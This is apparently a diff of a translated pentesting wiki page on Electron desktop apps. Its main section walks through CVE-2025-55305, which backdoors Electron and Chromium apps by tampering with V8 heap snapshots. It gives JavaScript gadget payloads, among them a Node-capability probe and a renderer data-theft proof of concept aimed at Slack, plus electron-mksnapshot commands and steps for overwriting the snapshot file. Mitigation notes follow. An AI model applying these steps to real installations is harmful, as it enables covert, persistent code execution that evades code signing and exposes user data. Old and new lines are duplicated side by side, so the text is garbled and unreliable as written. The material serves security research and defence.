在 [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) 你可以找到一个用利用易受攻击的 Electron 应用的实验。 在 [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) 你可以找到一个用利用易受攻击的 Electron 应用的实验。
下面是一些将在实验中帮助你的命令: 一些可以在实验中帮助你的命令:
```bash ```bash
# Download apps from these URls # Download apps from these URls
# Vuln to nodeIntegration # Vuln to nodeIntegration
@ -455,18 +457,18 @@ cd vulnerable1
npm install npm install
npm start npm start
``` ```
## 本地后门植入(通过 V8 heap snapshot tampering(Electron/Chromium) CVE-2025-55305 ## 通过篡改 V8 堆快照进行本地植入后门 (Electron/Chromium) CVE-2025-55305
Electron 和基于 Chromium 的应用在启动时反序列化预构建的 V8 heap snapshotv8_context_snapshot.bin和可选的 browser_v8_context_snapshot.bin来初始化每个 V8 isolatemain、preload、renderer。历史上Electron 的 integrity fuses 并未将这些 snapshot 视为可执行内容,因此它们规避了基于 fuse 的完整性强制和操作系统的代码签名检查。因此,在用户可写的安装目录中替换 snapshot 可以在不修改已签名二进制或 ASAR 的情况下,提供对应用内部的隐蔽、持久的代码执行。 Electron 和基于 Chromium 的应用在启动时反序列化预构建的 V8 heap snapshot (v8_context_snapshot.bin, and optionally browser_v8_context_snapshot.bin) 以初始化每个 V8 isolate (main, preload, renderer)。历史上Electron 的 integrity fuses 并未将这些快照视为可执行内容,因此它们规避了 fuse-based integrity enforcement 和操作系统的 code-signing 检查。结果是在用户可写的安装中替换快照可以在不修改签名二进制或 ASAR 的情况下,在应用内部实现隐蔽且持久的代码执行。
Key points Key points
- Integrity gapEnableEmbeddedAsarIntegrityValidation 和 OnlyLoadAppFromAsar 验证 ASAR 内的应用 JavaScript但它们不覆盖 V8 heap snapshotsCVE-2025-55305。Chromium 也同样不会对 snapshots 进行完整性校验。 - Integrity gap: EnableEmbeddedAsarIntegrityValidation and OnlyLoadAppFromAsar validate app JavaScript inside the ASAR, but they did not cover V8 heap snapshots (CVE-2025-55305). Chromium similarly does not integrity-check snapshots.
- Attack preconditions:对应用安装目录的本地文件写权限。在 Electron 应用或 Chromium 浏览器安装在用户可写路径的系统上很常见例如Windows 上的 %AppData%\LocalmacOS 上的 /Applications 有一些注意事项)。 - Attack preconditions: Local file write into the apps installation directory. This is common on systems where Electron apps or Chromium browsers are installed under user-writable paths (e.g., %AppData%\Local on Windows; /Applications with caveats on macOS).
- Effect:通过破坏一个常用的 builtin一个 “gadget”可在任意 isolate 中可靠执行攻击者的 JavaScript从而实现持久化并规避代码签名校验。 - Effect: Reliable execution of attacker JavaScript in any isolate by clobbering a frequently used builtin (a “gadget”), enabling persistence and evasion of code-signing verification.
- Affected surfaceElectron 应用(即使启用了 fuses以及从用户可写位置加载 snapshots 的基于 Chromium 的浏览器。 - Affected surface: Electron apps (even with fuses enabled) and Chromium-based browsers that load snapshots from user-writable locations.
Generating a malicious snapshot without building Chromium Generating a malicious snapshot without building Chromium
- 使用预构建的 electron/mksnapshot 将 payload JS 编译成 snapshot并覆盖应用的 v8_context_snapshot.bin。 - Use the prebuilt electron/mksnapshot to compile a payload JS into a snapshot and overwrite the applications v8_context_snapshot.bin.
Example minimal payload (prove execution by forcing a crash) Example minimal payload (prove execution by forcing a crash)
```js ```js
@ -482,11 +484,11 @@ Array.isArray = function () {
throw new Error("testing isArray gadget"); throw new Error("testing isArray gadget");
}; };
``` ```
Isolate-aware payload routing (在 main vs. renderer 中运行不同的代码) Isolate-aware payload routing (run different code in main vs. renderer)
- Main 进程检测Node-only globals like process.pid, process.binding(), or process.dlopen 存在于 main 进程的 isolate 中。 - 主进程检测: 只有 Node 可用的全局变量(如 process.pid、process.binding() 或 process.dlopen存在于主进程 isolate 中。
- Browser/renderer 检测Browser-only globals like alert 在 document context 运行时可用。 - 浏览器/renderer 检测: 仅在文档上下文中运行时,浏览器专有的全局变量(如 alert可用。
示例 gadget一次性探测 main 进程的 Node 能力 示例 gadget一次性探测进程的 Node 能力
```js ```js
const orig = Array.isArray; const orig = Array.isArray;
@ -515,7 +517,7 @@ process.exit(0);
return orig(...arguments); return orig(...arguments);
}; };
``` ```
Renderer/browser-context 数据窃取 PoC(例如 Slack Renderer/browser-context 数据窃取 PoC (e.g., Slack)
```js ```js
const orig = Array.isArray; const orig = Array.isArray;
Array.isArray = function() { Array.isArray = function() {
@ -540,30 +542,26 @@ return orig(...arguments);
}; };
``` ```
操作流程 操作流程
1) 编写 payload.js写一个常见的内置函数(例如 Array.isArray并可选地针对每个 isolate 做分支。 1) 编写 payload.js盖一个常见的内置函数(例如 Array.isArray并可选地根据 isolate 分支。
2) 在不包含 Chromium 源代码的情况下构建 snapshot 2) 在不包含 Chromium 源代码的情况下构建 snapshot:
- npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js" - npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
3) 覆盖目标应用的 snapshot 文件: 3) 覆盖目标应用的 snapshot 文件:
- v8_context_snapshot.bin (always used) - v8_context_snapshot.bin (always used)
- browser_v8_context_snapshot.bin (if the LoadBrowserProcessSpecificV8Snapshot fuse is used) - browser_v8_context_snapshot.bin (if the LoadBrowserProcessSpecificV8Snapshot fuse is used)
4) 启动应用;每当调用所选的内置函数时gadget 将被执行。 4) 启动应用;每当使用所选的内置函数时gadget 就会执行。
注意与考虑 说明和注意事项
- Integrity/signature bypassSnapshot 文件在代码签名检查中不被视为原生可执行文件,并且(历史上)未被 Electrons fuses 或 Chromium 的完整性控制覆盖。 - Integrity/signature bypass: Snapshot files are not treated as native executables by code-signing checks and (historically) were not covered by Electrons fuses or Chromium integrity controls.
- Persistence:在用户可写的安装目录中替换 snapshot 通常能在应用重启后存活,并看起来像已签名的合法应用。 - Persistence: Replacing the snapshot in a user-writable install typically survives app restarts and looks like a signed, legitimate app.
- Chromium browsers:相同的篡改概念适用于安装在用户可写位置的 Chrome/衍生版本。Chrome 有其他完整性缓解措施,但明确地将物理本地攻击排除在其威胁模型之外。 - Chromium browsers: The same tampering concept applies to Chrome/derivatives installed in user-writable locations. Chrome has other integrity mitigations but explicitly excludes physically local attacks from its threat model.
检测与缓解 检测与缓解
- 将 snapshots 视为可执行内容并将其纳入完整性强制CVE-2025-55305 fix - 将 snapshot 视为可执行内容并将其纳入完整性强制CVE-2025-55305 fix
- 优先选择仅管理员可写的安装位置;为 v8_context_snapshot.bin 和 browser_v8_context_snapshot.bin 建立基线并监控哈希值。 - 优先使用仅管理员可写的安装位置;对 v8_context_snapshot.bin 和 browser_v8_context_snapshot.bin 建立基线并监控哈希值。
- 检测早期运行时的内置函数覆写和意外的 snapshot 变更;当反序列化的 snapshot 与预期值不符时发出警报。 - 检测早期运行时的内置函数被覆盖以及意外的 snapshot 更改;当反序列化的 snapshot 与预期值不匹配时发出警报。
## **References** ## **References**
- [SecureLayer7: Electron Research in Desktop apps (Part 1)](https://blog.securelayer7.net/electron-app-security-risks/)
- [VS Code RCE PoC (CVE-2021-43908) electrovolt](https://github.com/Sudistark/vscode-rce-electrovolt)
- [GitHub Advisory GHSA-2q4g-w47c-4674 (CVE-2020-15174)](https://github.com/advisories/GHSA-2q4g-w47c-4674)
- [MSRC: CVE-2021-43908](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-43908)
- [Trail of Bits: Subverting code integrity checks to locally backdoor Signal, 1Password, Slack, and more](https://blog.trailofbits.com/2025/09/03/subverting-code-integrity-checks-to-locally-backdoor-signal-1password-slack-and-more/) - [Trail of Bits: Subverting code integrity checks to locally backdoor Signal, 1Password, Slack, and more](https://blog.trailofbits.com/2025/09/03/subverting-code-integrity-checks-to-locally-backdoor-signal-1password-slack-and-more/)
- [Electron fuses](https://www.electronjs.org/docs/latest/tutorial/fuses) - [Electron fuses](https://www.electronjs.org/docs/latest/tutorial/fuses)
- [Electron ASAR integrity](https://www.electronjs.org/docs/latest/tutorial/asar-integrity) - [Electron ASAR integrity](https://www.electronjs.org/docs/latest/tutorial/asar-integrity)